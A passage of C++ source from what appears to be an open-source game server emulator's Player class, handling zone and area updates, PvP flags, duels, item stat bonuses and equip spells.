delete result;
return id;
}
uint32 Player::GetZoneIdFromDB(ObjectGuid guid)
{
uint32 lowguid = guid.GetCounter();
QueryResult *result = CharacterDatabase.PQuery("SELECT zone FROM characters WHERE guid='%u'", lowguid);
if (!result)
return 0;
Field* fields = result->Fetch();
uint32 zone = fields[0].GetUInt32();
delete result;
if (!zone)
{
// stored zone is zero, use generic and slow zone detection
result = CharacterDatabase.PQuery("SELECT map,position_x,position_y,position_z FROM characters WHERE guid='%u'", lowguid);
if ( !result )
return 0;
fields = result->Fetch();
uint32 map = fields[0].GetUInt32();
float posx = fields[1].GetFloat();
float posy = fields[2].GetFloat();
float posz = fields[3].GetFloat();
delete result;
zone = sTerrainMgr.GetZoneId(map,posx,posy,posz);
if (zone > 0)
CharacterDatabase.PExecute("UPDATE characters SET zone='%u' WHERE guid='%u'", zone, lowguid);
}
return zone;
}
uint32 Player::GetLevelFromDB(ObjectGuid guid)
{
uint32 lowguid = guid.GetCounter();
QueryResult *result = CharacterDatabase.PQuery("SELECT level FROM characters WHERE guid='%u'", lowguid);
if (!result)
return 0;
Field* fields = result->Fetch();
uint32 level = fields[0].GetUInt32();
delete result;
return level;
}
void Player::UpdateArea(uint32 newArea)
{
m_areaUpdateId = newArea;
AreaTableEntry const* area = GetAreaEntryByAreaID(newArea);
// FFA_PVP flags are area and not zone id dependent
// so apply them accordingly
if (area && (area->flags & AREA_FLAG_ARENA))
{
if (!isGameMaster())
SetFFAPvP(true);
}
else
{
// remove ffa flag only if not ffapvp realm
// removal in sanctuaries and capitals is handled in zone update
if (IsFFAPvP() && !sWorld.IsFFAPvPRealm())
SetFFAPvP(false);
}
if (area)
{
// Dalaran restricted flight zone
if ((area->flags & AREA_FLAG_CANNOT_FLY) && IsFreeFlying() && !isGameMaster() && !HasAura(58600))
CastSpell(this, 58600, true); // Restricted Flight Area
// TODO: implement wintergrasp parachute when battle in progress
/* if ((area->flags & AREA_FLAG_OUTDOOR_PVP) && IsFreeFlying() && <WINTERGRASP_BATTLE_IN_PROGRESS> && !isGameMaster())
CastSpell(this, 58730, true); */
}
UpdateAreaDependentAuras();
}
WorldPvP* Player::GetWorldPvP() const
{
return sWorldPvPMgr.GetWorldPvPToZoneId(GetZoneId());
}
bool Player::IsWorldPvPActive()
{
return CanCaptureTowerPoint() &&
(IsPvP() || sWorld.IsPvPRealm()) &&
!HasMovementFlag(MOVEFLAG_FLYING) &&
!IsTaxiFlying() &&
!isGameMaster();
}
void Player::UpdateZone(uint32 newZone, uint32 newArea)
{
AreaTableEntry const* zone = GetAreaEntryByAreaID(newZone);
if(!zone)
return;
if (m_zoneUpdateId != newZone)
{
//Called when a player leave zone
if (InstanceData* mapInstance = GetInstanceData())
mapInstance->OnPlayerLeaveZone(this, m_zoneUpdateId);
// handle world pvp zones
sWorldPvPMgr.HandlePlayerLeaveZone(this, m_zoneUpdateId);
SendInitWorldStates(newZone, newArea); // only if really enters to new zone, not just area change, works strange...
sWorldPvPMgr.HandlePlayerEnterZone(this, newZone);
// call this method in order to handle some scripted zones
if (InstanceData* mapInstance = GetInstanceData())
mapInstance->OnPlayerEnterZone(this, newZone, newArea);
if (sWorld.getConfig(CONFIG_BOOL_WEATHER))
{
if (Weather *wth = sWorld.FindWeather(zone->ID))
wth->SendWeatherUpdateToPlayer(this);
else if(!sWorld.AddWeather(zone->ID))
{
// send fine weather packet to remove old zone's weather
Weather::SendFineWeatherUpdateToPlayer(this);
}
}
}
m_zoneUpdateId = newZone;
m_zoneUpdateTimer = ZONE_UPDATE_INTERVAL;
// zone changed, so area changed as well, update it
UpdateArea(newArea);
// in PvP, any not controlled zone (except zone->team == 6, default case)
// in PvE, only opposition team capital
switch(zone->team)
{
case AREATEAM_ALLY:
pvpInfo.inHostileArea = GetTeam() != ALLIANCE && (sWorld.IsPvPRealm() || zone->flags & AREA_FLAG_CAPITAL);
break;
case AREATEAM_HORDE:
pvpInfo.inHostileArea = GetTeam() != HORDE && (sWorld.IsPvPRealm() || zone->flags & AREA_FLAG_CAPITAL);
break;
case AREATEAM_NONE:
// overwrite for battlegrounds, maybe batter some zone flags but current known not 100% fit to this
pvpInfo.inHostileArea = sWorld.IsPvPRealm() || InBattleGround();
break;
default: // 6 in fact
pvpInfo.inHostileArea = false;
break;
}
if (pvpInfo.inHostileArea) // in hostile area
{
if(!IsPvP() || pvpInfo.endTimer != 0)
UpdatePvP(true, true);
}
else // in friendly area
{
if (IsPvP() && !HasFlag(PLAYER_FLAGS,PLAYER_FLAGS_IN_PVP) && pvpInfo.endTimer == 0)
pvpInfo.endTimer = time(0); // start toggle-off
}
if (zone->flags & AREA_FLAG_SANCTUARY) // in sanctuary
{
SetByteFlag(UNIT_FIELD_BYTES_2, 1, UNIT_BYTE2_FLAG_SANCTUARY);
if (sWorld.IsFFAPvPRealm())
SetFFAPvP(false);
}
else
{
RemoveByteFlag(UNIT_FIELD_BYTES_2, 1, UNIT_BYTE2_FLAG_SANCTUARY);
}
if (zone->flags & AREA_FLAG_CAPITAL) // in capital city
SetRestType(REST_TYPE_IN_CITY);
else if (HasFlag(PLAYER_FLAGS, PLAYER_FLAGS_RESTING) && GetRestType() != REST_TYPE_IN_TAVERN)
// resting and not in tavern (leave city then); tavern leave handled in CheckAreaExploreAndOutdoor
SetRestType(REST_TYPE_NO);
// remove items with area/map limitations (delete only for alive player to allow back in ghost mode)
// if player resurrected at teleport this will be applied in resurrect code
if (isAlive())
DestroyZoneLimitedItem( true, newZone );
// check some item equip limitations (in result lost CanTitanGrip at talent reset, for example)
AutoUnequipOffhandIfNeed();
// recent client version not send leave/join channel packets for built-in local channels
UpdateLocalChannels( newZone );
// group update
if (GetGroup())
SetGroupUpdateFlag(GROUP_UPDATE_FLAG_ZONE);
UpdateZoneDependentAuras();
UpdateZoneDependentPets();
}
//If players are too far way of duel flag... then player loose the duel
void Player::CheckDuelDistance(time_t currTime)
{
if (!duel)
return;
GameObject* obj = GetMap()->GetGameObject(GetGuidValue(PLAYER_DUEL_ARBITER));
if (!obj)
{
// player not at duel start map
DuelComplete(DUEL_FLED);
return;
}
if (duel->outOfBound == 0)
{
if (!IsWithinDistInMap(obj, 50))
{
duel->outOfBound = currTime;
WorldPacket data(SMSG_DUEL_OUTOFBOUNDS, 0);
GetSession()->SendPacket(&data);
}
}
else
{
if (IsWithinDistInMap(obj, 40))
{
duel->outOfBound = 0;
WorldPacket data(SMSG_DUEL_INBOUNDS, 0);
GetSession()->SendPacket(&data);
}
else if (currTime >= (duel->outOfBound+10))
{
DuelComplete(DUEL_FLED);
}
}
}
void Player::DuelComplete(DuelCompleteType type)
{
// duel not requested
if (!duel)
return;
WorldPacket data(SMSG_DUEL_COMPLETE, (1));
data << (uint8)((type != DUEL_INTERUPTED) ? 1 : 0);
GetSession()->SendPacket(&data);
duel->opponent->GetSession()->SendPacket(&data);
if (type != DUEL_INTERUPTED)
{
data.Initialize(SMSG_DUEL_WINNER, (1+20)); // we guess size
data << (uint8)((type==DUEL_WON) ? 0 : 1); // 0 = just won; 1 = fled
data << duel->opponent->GetName();
data << GetName();
SendMessageToSet(&data,true);
}
if (type == DUEL_WON)
{
GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_LOSE_DUEL, 1);
if (duel->opponent)
duel->opponent->GetAchievementMgr().UpdateAchievementCriteria(ACHIEVEMENT_CRITERIA_TYPE_WIN_DUEL, 1);
}
//Remove Duel Flag object
if (GameObject* obj = GetMap()->GetGameObject(GetGuidValue(PLAYER_DUEL_ARBITER)))
duel->initiator->RemoveGameObject(obj, true);
/* remove auras */
std::vector<uint32> auras2remove;
SpellAuraHolderMap const& vAuras = duel->opponent->GetSpellAuraHolderMap();
for (SpellAuraHolderMap::const_iterator i = vAuras.begin(); i != vAuras.end(); ++i)
{
if (!i->second->IsPositive() && i->second->GetCasterGuid() == GetObjectGuid() && i->second->GetAuraApplyTime() >= duel->startTime)
auras2remove.push_back(i->second->GetId());
}
for(size_t i=0; i<auras2remove.size(); ++i)
duel->opponent->RemoveAurasDueToSpell(auras2remove[i]);
auras2remove.clear();
SpellAuraHolderMap const& auras = GetSpellAuraHolderMap();
for (SpellAuraHolderMap::const_iterator i = auras.begin(); i != auras.end(); ++i)
{
if (!i->second->IsPositive() && i->second->GetCasterGuid() == duel->opponent->GetObjectGuid() && i->second->GetAuraApplyTime() >= duel->startTime)
auras2remove.push_back(i->second->GetId());
}
for (size_t i=0; i<auras2remove.size(); ++i)
RemoveAurasDueToSpell(auras2remove[i]);
// cleanup combo points
if (GetComboTargetGuid() == duel->opponent->GetObjectGuid())
ClearComboPoints();
else if (GetComboTargetGuid() == duel->opponent->GetPetGuid())
ClearComboPoints();
if (duel->opponent->GetComboTargetGuid() == GetObjectGuid())
duel->opponent->ClearComboPoints();
else if (duel->opponent->GetComboTargetGuid() == GetPetGuid())
duel->opponent->ClearComboPoints();
//cleanups
SetGuidValue(PLAYER_DUEL_ARBITER, ObjectGuid());
SetUInt32Value(PLAYER_DUEL_TEAM, 0);
duel->opponent->SetGuidValue(PLAYER_DUEL_ARBITER, ObjectGuid());
duel->opponent->SetUInt32Value(PLAYER_DUEL_TEAM, 0);
delete duel->opponent->duel;
duel->opponent->duel = NULL;
delete duel;
duel = NULL;
}
//---------------------------------------------------------//
void Player::_ApplyItemMods(Item *item, uint8 slot,bool apply)
{
if (slot >= INVENTORY_SLOT_BAG_END || !item)
return;
// not apply/remove mods for broken item
if (item->IsBroken())
return;
ItemPrototype const *proto = item->GetProto();
if(!proto)
return;
DETAIL_LOG("applying mods for item %u ",item->GetGUIDLow());
uint32 attacktype = Player::GetAttackBySlot(slot);
if (attacktype < MAX_ATTACK)
_ApplyWeaponDependentAuraMods(item,WeaponAttackType(attacktype),apply);
_ApplyItemBonuses(proto,slot,apply);
if ( slot==EQUIPMENT_SLOT_RANGED )
_ApplyAmmoBonuses();
ApplyItemEquipSpell(item,apply);
ApplyEnchantment(item, apply);
if (proto->Socket[0].Color) //only (un)equipping of items with sockets can influence metagems, so no need to waste time with normal items
CorrectMetaGemEnchants(slot, apply);
DEBUG_LOG("_ApplyItemMods complete.");
}
void Player::_ApplyItemBonuses(ItemPrototype const *proto, uint8 slot, bool apply, bool only_level_scale /*= false*/)
{
if (slot >= INVENTORY_SLOT_BAG_END || !proto)
return;
ScalingStatDistributionEntry const *ssd = proto->ScalingStatDistribution ? sScalingStatDistributionStore.LookupEntry(proto->ScalingStatDistribution) : NULL;
if (only_level_scale && !ssd)
return;
// req. check at equip, but allow use for extended range if range limit max level, set proper level
uint32 ssd_level = getLevel();
if (ssd && ssd_level > ssd->MaxLevel)
ssd_level = ssd->MaxLevel;
ScalingStatValuesEntry const *ssv = proto->ScalingStatValue ? sScalingStatValuesStore.LookupEntry(ssd_level) : NULL;
if (only_level_scale && !ssv)
return;
for (uint32 i = 0; i < MAX_ITEM_PROTO_STATS; ++i)
{
uint32 statType = 0;
int32 val = 0;
// If set ScalingStatDistribution need get stats and values from it
if (ssd && ssv)
{
if (ssd->StatMod[i] < 0)
continue;
statType = ssd->StatMod[i];
val = (ssv->getssdMultiplier(proto->ScalingStatValue) * ssd->Modifier[i]) / 10000;
}
else
{
if (i >= proto->StatsCount)
continue;
statType = proto->ItemStat[i].ItemStatType;
val = proto->ItemStat[i].ItemStatValue;
}
if (val == 0)
continue;
switch (statType)
{
case ITEM_MOD_MANA:
HandleStatModifier(UNIT_MOD_MANA, BASE_VALUE, float(val), apply);
break;
case ITEM_MOD_HEALTH: // modify HP
HandleStatModifier(UNIT_MOD_HEALTH, BASE_VALUE, float(val), apply);
break;
case ITEM_MOD_AGILITY: // modify agility
HandleStatModifier(UNIT_MOD_STAT_AGILITY, BASE_VALUE, float(val), apply);
ApplyStatBuffMod(STAT_AGILITY, float(val), apply);
break;
case ITEM_MOD_STRENGTH: //modify strength
HandleStatModifier(UNIT_MOD_STAT_STRENGTH, BASE_VALUE, float(val), apply);
ApplyStatBuffMod(STAT_STRENGTH, float(val), apply);
break;
case ITEM_MOD_INTELLECT: //modify intellect
HandleStatModifier(UNIT_MOD_STAT_INTELLECT, BASE_VALUE, float(val), apply);
ApplyStatBuffMod(STAT_INTELLECT, float(val), apply);
break;
case ITEM_MOD_SPIRIT: //modify spirit
HandleStatModifier(UNIT_MOD_STAT_SPIRIT, BASE_VALUE, float(val), apply);
ApplyStatBuffMod(STAT_SPIRIT, float(val), apply);
break;
case ITEM_MOD_STAMINA: //modify stamina
HandleStatModifier(UNIT_MOD_STAT_STAMINA, BASE_VALUE, float(val), apply);
ApplyStatBuffMod(STAT_STAMINA, float(val), apply);
break;
case ITEM_MOD_DEFENSE_SKILL_RATING:
ApplyRatingMod(CR_DEFENSE_SKILL, int32(val), apply);
break;
case ITEM_MOD_DODGE_RATING:
ApplyRatingMod(CR_DODGE, int32(val), apply);
break;
case ITEM_MOD_PARRY_RATING:
ApplyRatingMod(CR_PARRY, int32(val), apply);
break;
case ITEM_MOD_BLOCK_RATING:
ApplyRatingMod(CR_BLOCK, int32(val), apply);
break;
case ITEM_MOD_HIT_MELEE_RATING:
ApplyRatingMod(CR_HIT_MELEE, int32(val), apply);
break;
case ITEM_MOD_HIT_RANGED_RATING:
ApplyRatingMod(CR_HIT_RANGED, int32(val), apply);
break;
case ITEM_MOD_HIT_SPELL_RATING:
ApplyRatingMod(CR_HIT_SPELL, int32(val), apply);
break;
case ITEM_MOD_CRIT_MELEE_RATING:
ApplyRatingMod(CR_CRIT_MELEE, int32(val), apply);
break;
case ITEM_MOD_CRIT_RANGED_RATING:
ApplyRatingMod(CR_CRIT_RANGED, int32(val), apply);
break;
case ITEM_MOD_CRIT_SPELL_RATING:
ApplyRatingMod(CR_CRIT_SPELL, int32(val), apply);
break;
case ITEM_MOD_HIT_TAKEN_MELEE_RATING:
ApplyRatingMod(CR_HIT_TAKEN_MELEE, int32(val), apply);
break;
case ITEM_MOD_HIT_TAKEN_RANGED_RATING:
ApplyRatingMod(CR_HIT_TAKEN_RANGED, int32(val), apply);
break;
case ITEM_MOD_HIT_TAKEN_SPELL_RATING:
ApplyRatingMod(CR_HIT_TAKEN_SPELL, int32(val), apply);
break;
case ITEM_MOD_CRIT_TAKEN_MELEE_RATING:
ApplyRatingMod(CR_CRIT_TAKEN_MELEE, int32(val), apply);
break;
case ITEM_MOD_CRIT_TAKEN_RANGED_RATING:
ApplyRatingMod(CR_CRIT_TAKEN_RANGED, int32(val), apply);
break;
case ITEM_MOD_CRIT_TAKEN_SPELL_RATING:
ApplyRatingMod(CR_CRIT_TAKEN_SPELL, int32(val), apply);
break;
case ITEM_MOD_HASTE_MELEE_RATING:
ApplyRatingMod(CR_HASTE_MELEE, int32(val), apply);
break;
case ITEM_MOD_HASTE_RANGED_RATING:
ApplyRatingMod(CR_HASTE_RANGED, int32(val), apply);
break;
case ITEM_MOD_HASTE_SPELL_RATING:
ApplyRatingMod(CR_HASTE_SPELL, int32(val), apply);
break;
case ITEM_MOD_HIT_RATING:
ApplyRatingMod(CR_HIT_MELEE, int32(val), apply);
ApplyRatingMod(CR_HIT_RANGED, int32(val), apply);
ApplyRatingMod(CR_HIT_SPELL, int32(val), apply);
break;
case ITEM_MOD_CRIT_RATING:
ApplyRatingMod(CR_CRIT_MELEE, int32(val), apply);
ApplyRatingMod(CR_CRIT_RANGED, int32(val), apply);
ApplyRatingMod(CR_CRIT_SPELL, int32(val), apply);
break;
case ITEM_MOD_HIT_TAKEN_RATING:
ApplyRatingMod(CR_HIT_TAKEN_MELEE, int32(val), apply);
ApplyRatingMod(CR_HIT_TAKEN_RANGED, int32(val), apply);
ApplyRatingMod(CR_HIT_TAKEN_SPELL, int32(val), apply);
break;
case ITEM_MOD_CRIT_TAKEN_RATING:
ApplyRatingMod(CR_CRIT_TAKEN_MELEE, int32(val), apply);
ApplyRatingMod(CR_CRIT_TAKEN_RANGED, int32(val), apply);
ApplyRatingMod(CR_CRIT_TAKEN_SPELL, int32(val), apply);
break;
case ITEM_MOD_RESILIENCE_RATING:
ApplyRatingMod(CR_CRIT_TAKEN_MELEE, int32(val), apply);
ApplyRatingMod(CR_CRIT_TAKEN_RANGED, int32(val), apply);
ApplyRatingMod(CR_CRIT_TAKEN_SPELL, int32(val), apply);
break;
case ITEM_MOD_HASTE_RATING:
ApplyRatingMod(CR_HASTE_MELEE, int32(val), apply);
ApplyRatingMod(CR_HASTE_RANGED, int32(val), apply);
ApplyRatingMod(CR_HASTE_SPELL, int32(val), apply);
break;
case ITEM_MOD_EXPERTISE_RATING:
ApplyRatingMod(CR_EXPERTISE, int32(val), apply);
break;
case ITEM_MOD_ATTACK_POWER:
HandleStatModifier(UNIT_MOD_ATTACK_POWER, TOTAL_VALUE, float(val), apply);
HandleStatModifier(UNIT_MOD_ATTACK_POWER_RANGED, TOTAL_VALUE, float(val), apply);
break;
case ITEM_MOD_RANGED_ATTACK_POWER:
HandleStatModifier(UNIT_MOD_ATTACK_POWER_RANGED, TOTAL_VALUE, float(val), apply);
break;
case ITEM_MOD_MANA_REGENERATION:
ApplyManaRegenBonus(int32(val), apply);
break;
case ITEM_MOD_ARMOR_PENETRATION_RATING:
ApplyRatingMod(CR_ARMOR_PENETRATION, int32(val), apply);
break;
case ITEM_MOD_SPELL_POWER:
ApplySpellPowerBonus(int32(val), apply);
break;
case ITEM_MOD_HEALTH_REGEN:
ApplyHealthRegenBonus(int32(val), apply);
break;
case ITEM_MOD_SPELL_PENETRATION:
ApplyModInt32Value(PLAYER_FIELD_MOD_TARGET_RESISTANCE, -int32(val), apply);
m_spellPenetrationItemMod += apply ? val : -val;
break;
case ITEM_MOD_BLOCK_VALUE:
HandleBaseModValue(SHIELD_BLOCK_VALUE, FLAT_MOD, float(val), apply);
break;
// deprecated item mods
case ITEM_MOD_FERAL_ATTACK_POWER:
case ITEM_MOD_SPELL_HEALING_DONE:
case ITEM_MOD_SPELL_DAMAGE_DONE:
break;
}
}
// Apply Spell Power from ScalingStatValue if set
if (ssv)
{
if (int32 spellbonus = ssv->getSpellBonus(proto->ScalingStatValue))
ApplySpellPowerBonus(spellbonus, apply);
}
// If set ScalingStatValue armor get it or use item armor
uint32 armor = proto->Armor;
if (ssv)
{
if (uint32 ssvarmor = ssv->getArmorMod(proto->ScalingStatValue))
armor = ssvarmor;
}
// Add armor bonus from ArmorDamageModifier if > 0
if (proto->ArmorDamageModifier > 0)
armor += uint32(proto->ArmorDamageModifier);
if (armor)
{
switch(proto->InventoryType)
{
case INVTYPE_TRINKET:
case INVTYPE_NECK:
case INVTYPE_CLOAK:
case INVTYPE_FINGER:
HandleStatModifier(UNIT_MOD_ARMOR, TOTAL_VALUE, float(armor), apply);
break;
default:
HandleStatModifier(UNIT_MOD_ARMOR, BASE_VALUE, float(armor), apply);
break;
}
}
if (proto->Block)
HandleBaseModValue(SHIELD_BLOCK_VALUE, FLAT_MOD, float(proto->Block), apply);
if (proto->HolyRes)
HandleStatModifier(UNIT_MOD_RESISTANCE_HOLY, BASE_VALUE, float(proto->HolyRes), apply);
if (proto->FireRes)
HandleStatModifier(UNIT_MOD_RESISTANCE_FIRE, BASE_VALUE, float(proto->FireRes), apply);
if (proto->NatureRes)
HandleStatModifier(UNIT_MOD_RESISTANCE_NATURE, BASE_VALUE, float(proto->NatureRes), apply);
if (proto->FrostRes)
HandleStatModifier(UNIT_MOD_RESISTANCE_FROST, BASE_VALUE, float(proto->FrostRes), apply);
if (proto->ShadowRes)
HandleStatModifier(UNIT_MOD_RESISTANCE_SHADOW, BASE_VALUE, float(proto->ShadowRes), apply);
if (proto->ArcaneRes)
HandleStatModifier(UNIT_MOD_RESISTANCE_ARCANE, BASE_VALUE, float(proto->ArcaneRes), apply);
WeaponAttackType attType = BASE_ATTACK;
float damage = 0.0f;
if ( slot == EQUIPMENT_SLOT_RANGED && (
proto->InventoryType == INVTYPE_RANGED || proto->InventoryType == INVTYPE_THROWN ||
proto->InventoryType == INVTYPE_RANGEDRIGHT ))
{
attType = RANGED_ATTACK;
}
else if (slot==EQUIPMENT_SLOT_OFFHAND)
{
attType = OFF_ATTACK;
}
float minDamage = proto->Damage[0].DamageMin;
float maxDamage = proto->Damage[0].DamageMax;
int32 extraDPS = 0;
// If set dpsMod in ScalingStatValue use it for min (70% from average), max (130% from average) damage
if (ssv)
{
if ((extraDPS = ssv->getDPSMod(proto->ScalingStatValue)))
{
float average = extraDPS * proto->Delay / 1000.0f;
minDamage = 0.7f * average;
maxDamage = 1.3f * average;
}
}
if (minDamage > 0 )
{
damage = apply ? minDamage : BASE_MINDAMAGE;
SetBaseWeaponDamage(attType, MINDAMAGE, damage);
//sLog.outError("applying mindam: assigning %f to weapon mindamage, now is: %f", damage, GetWeaponDamageRange(attType, MINDAMAGE));
}
if (maxDamage > 0 )
{
damage = apply ? maxDamage : BASE_MAXDAMAGE;
SetBaseWeaponDamage(attType, MAXDAMAGE, damage);
}
// Apply feral bonus from ScalingStatValue if set
if (ssv)
{
if (int32 feral_bonus = ssv->getFeralBonus(proto->ScalingStatValue))
ApplyFeralAPBonus(feral_bonus, apply);
}
// Druids get feral AP bonus from weapon dps (also use DPS from ScalingStatValue)
if (getClass() == CLASS_DRUID)
{
int32 feral_bonus = proto->getFeralBonus(extraDPS);
if (feral_bonus > 0)
ApplyFeralAPBonus(feral_bonus, apply);
}
if (!CanUseEquippedWeapon(attType))
return;
if (proto->Delay)
{
if (slot == EQUIPMENT_SLOT_RANGED)
SetAttackTime(RANGED_ATTACK, apply ? proto->Delay: BASE_ATTACK_TIME);
else if (slot==EQUIPMENT_SLOT_MAINHAND)
SetAttackTime(BASE_ATTACK, apply ? proto->Delay: BASE_ATTACK_TIME);
else if (slot==EQUIPMENT_SLOT_OFFHAND)
SetAttackTime(OFF_ATTACK, apply ? proto->Delay: BASE_ATTACK_TIME);
}
if (CanModifyStats() && (damage || proto->Delay))
UpdateDamagePhysical(attType);
}
void Player::_ApplyWeaponDependentAuraMods(Item *item,WeaponAttackType attackType,bool apply)
{
MAPLOCK_READ(this,MAP_LOCK_TYPE_AURAS);
AuraList const& auraCritList = GetAurasByType(SPELL_AURA_MOD_CRIT_PERCENT);
for(AuraList::const_iterator itr = auraCritList.begin(); itr!=auraCritList.end();++itr)
_ApplyWeaponDependentAuraCritMod(item,attackType,*itr,apply);
AuraList const& auraDamageFlatList = GetAurasByType(SPELL_AURA_MOD_DAMAGE_DONE);
for(AuraList::const_iterator itr = auraDamageFlatList.begin(); itr!=auraDamageFlatList.end();++itr)
_ApplyWeaponDependentAuraDamageMod(item,attackType,*itr,apply);
AuraList const& auraDamagePCTList = GetAurasByType(SPELL_AURA_MOD_DAMAGE_PERCENT_DONE);
for(AuraList::const_iterator itr = auraDamagePCTList.begin(); itr!=auraDamagePCTList.end();++itr)
_ApplyWeaponDependentAuraDamageMod(item,attackType,*itr,apply);
}
void Player::_ApplyWeaponDependentAuraCritMod(Item *item, WeaponAttackType attackType, Aura* aura, bool apply)
{
// generic not weapon specific case processes in aura code
if (aura->GetSpellProto()->EquippedItemClass == -1)
return;
BaseModGroup mod = BASEMOD_END;
switch(attackType)
{
case BASE_ATTACK: mod = CRIT_PERCENTAGE; break;
case OFF_ATTACK: mod = OFFHAND_CRIT_PERCENTAGE;break;
case RANGED_ATTACK: mod = RANGED_CRIT_PERCENTAGE; break;
default: return;
}
if (!item->IsBroken()&&item->IsFitToSpellRequirements(aura->GetSpellProto()))
{
HandleBaseModValue(mod, FLAT_MOD, float (aura->GetModifier()->m_amount), apply);
}
}
void Player::_ApplyWeaponDependentAuraDamageMod(Item *item, WeaponAttackType attackType, Aura* aura, bool apply)
{
// ignore spell mods for not wands
Modifier const* modifier = aura->GetModifier();
if((modifier->m_miscvalue & SPELL_SCHOOL_MASK_NORMAL)==0 && (getClassMask() & CLASSMASK_WAND_USERS)==0)
return;
// generic not weapon specific case processes in aura code
if (aura->GetSpellProto()->EquippedItemClass == -1)
return;
UnitMods unitMod = UNIT_MOD_END;
switch(attackType)
{
case BASE_ATTACK: unitMod = UNIT_MOD_DAMAGE_MAINHAND; break;
case OFF_ATTACK: unitMod = UNIT_MOD_DAMAGE_OFFHAND; break;
case RANGED_ATTACK: unitMod = UNIT_MOD_DAMAGE_RANGED; break;
default: return;
}
UnitModifierType unitModType = TOTAL_VALUE;
switch(modifier->m_auraname)
{
case SPELL_AURA_MOD_DAMAGE_DONE: unitModType = TOTAL_VALUE; break;
case SPELL_AURA_MOD_DAMAGE_PERCENT_DONE: unitModType = TOTAL_PCT; break;
default: return;
}
if (!item->IsBroken()&&item->IsFitToSpellRequirements(aura->GetSpellProto()))
{
HandleStatModifier(unitMod, unitModType, float(modifier->m_amount),apply);
}
}
void Player::ApplyItemEquipSpell(Item *item, bool apply, bool form_change)
{
if(!item)
return;
ItemPrototype const *proto = item->GetProto();
if(!proto)
return;
for (int i = 0; i < MAX_ITEM_PROTO_SPELLS; ++i)
{
_Spell const& spellData = proto->Spells[i];
// no spell
if(!spellData.SpellId )
continue;
if (apply)
{
// apply only at-equip spells
if (spellData.SpellTrigger != ITEM_SPELLTRIGGER_ON_EQUIP)
continue;
}
else
{
// at un-apply remove all spells (not only at-apply, so any at-use active affects from item and etc)
// except with at-use with negative charges, so allow consuming item spells (including with extra flag that prevent consume really)
// applied to player after item remove from equip slot
if (spellData.SpellTrigger == ITEM_SPELLTRIGGER_ON_USE && spellData.SpellCharges < 0)
continue;
}
// check if it is valid spell
SpellEntry const* spellproto = sSpellStore.LookupEntry(spellData.SpellId);
if(!spellproto)
continue;
ApplyEquipSpell(spellproto,item,apply,form_change);
}
}
void Player::ApplyEquipSpell(SpellEntry const* spellInfo, Item* item, bool apply, bool form_change)
{
if (apply)
{
// Cannot be used in this stance/form
if (GetErrorAtShapeshiftedCast(spellInfo, GetShapeshiftForm()) != SPELL_CAST_OK)
return;
if (form_change) // check aura active state from other form
{
bool found = false;
for (int k=0; k < MAX_EFFECT_INDEX; ++k)
{
SpellAuraHolderBounds spair = GetSpellAuraHolderBounds(spellInfo->Id);
for (SpellAuraHolderMap::const_iterator iter = spair.first; iter != spair.second; ++iter)
{
if(!item || iter->second->GetCastItemGuid() == item->GetObjectGuid())
{
found = true;
break;
}
}
if (found)
break;
}
if (found) // and skip re-cast already active aura at form change
return;
}
DEBUG_LOG("WORLD: cast %s Equip spellId - %i", (item ? "item" : "itemset"), spellInfo->Id);
CastSpell(this,spellInfo,true,item);
}
else
{
if (form_change) // check aura compatibility
{
// Cannot be used in this stance/form
if (GetErrorAtShapeshiftedCast(spellInfo, GetShapeshiftForm()) == SPELL_CAST_OK)
return; // and remove only not compatible at form change
}
if (item)
RemoveAurasDueToItemSpell(item,spellInfo->Id); // un-apply all spells , not only at-equipped
else
RemoveAurasDueToSpell(spellInfo->Id); // un-apply spell (item set case)
}
}
void Player::UpdateEquipSpellsAtFormChange()
{
for (int i = 0; i < INVENTORY_SLOT_BAG_END; ++i)
{
if (m_items[i] && !m_items[i]->IsBroken())
{
ApplyItemEquipSpell(m_items[i],false,true); // remove spells that not fit to form
ApplyItemEquipSpell(m_items[i],true,true); // add spells that fit form but not active
}
}
// item set bonuses not dependent from item broken state
for(size_t setindex = 0; setindex < ItemSetEff.size(); ++setindex)
{
ItemSetEffect* eff = ItemSetEff[setindex];
if(!eff)
continue;
for(uint32 y=0;y<8; ++y)
{
SpellEntry const* spellInfo = eff->spells[y];
if(!spellInfo)
continue;
ApplyEquipSpell(spellInfo,NULL,false,true); // remove spells that not fit to form
ApplyEquipSpell(spellInfo,NULL,true,true); // add spells that fit form but not active
}
}
}
/**
* (un-)Apply item spells triggered at adding item to inventory ITEM_SPELLTRIGGER_ON_STORE
*
* @param item added/removed item to/from inventory
* @param apply (un-)apply spell affects.
*
* Note: item moved from slot to slot in 2 steps RemoveItem and StoreItem/EquipItem
* In result function not called in RemoveItem for prevent unexpected re-apply auras from related spells
* with duration reset and etc. Instead unapply done in StoreItem/EquipItem and in specialized
* functions for item final remove/destroy from inventory. If new RemoveItem calls added need be sure that
* function will call after it in some way if need.
*/
void Player::ApplyItemOnStoreSpell(Item *item, bool apply)
{
if (!item)
return;
ItemPrototype const *proto = item->GetProto();
if (!proto)
return;
for (int i = 0; i < MAX_ITEM_PROTO_SPELLS; ++i)
{
_Spell const& spellData = proto->Spells[i];
// no spell
if (!spellData.SpellId)
continue;
// apply/unapply only at-store spells
if (spellData.SpellTrigger != ITEM_SPELLTRIGGER_ON_STORE)
continue;
if (apply)
{
// can be attempt re-applied at move in inventory slots
if (!HasAura(spellData.SpellId))
CastSpell(this, spellData.SpellId, true, item);
}
else
RemoveAurasDueToItemSpell(item, spellData.SpellId);
}
}
void Player::DestroyItemWithOnStoreSpell(Item* item, uint32 spellId)
{
if (!item)
return;
ItemPrototype const *proto = item->GetProto();
if (!proto)
return;
for (int i = 0; i < MAX_ITEM_PROTO_SPELLS; ++i)
{
_Spell const& spellData = proto->Spells[i];
if (spellData.SpellId != spellId)
continue;
// apply/unapply only at-store spells
if (spellData.SpellTrigger != ITEM_SPELLTRIGGER_ON_STORE)
continue;
DestroyItem(item->GetBagSlot(), item->GetSlot(), true);
break;
}
}
/// handles unique effect of Deadly Poison: apply poison of the other weapon when already at max. stack
void Player::_HandleDeadlyPoison(Unit* Target, WeaponAttackType attType, SpellEntry const *spellInfo)
{
SpellAuraHolderPtr dPoison = SpellAuraHolderPtr(NULL);
SpellAuraHolderConstBounds holders = Target->GetSpellAuraHolderBounds(spellInfo->Id);
for (SpellAuraHolderMap::const_iterator iter = holders.first; iter != holders.second; ++iter)
{
if (iter->second->GetCaster() == this)
{
dPoison = iter->second;
break;
}
}
if (dPoison && dPoison->GetStackAmount() == spellInfo->StackAmount)
{
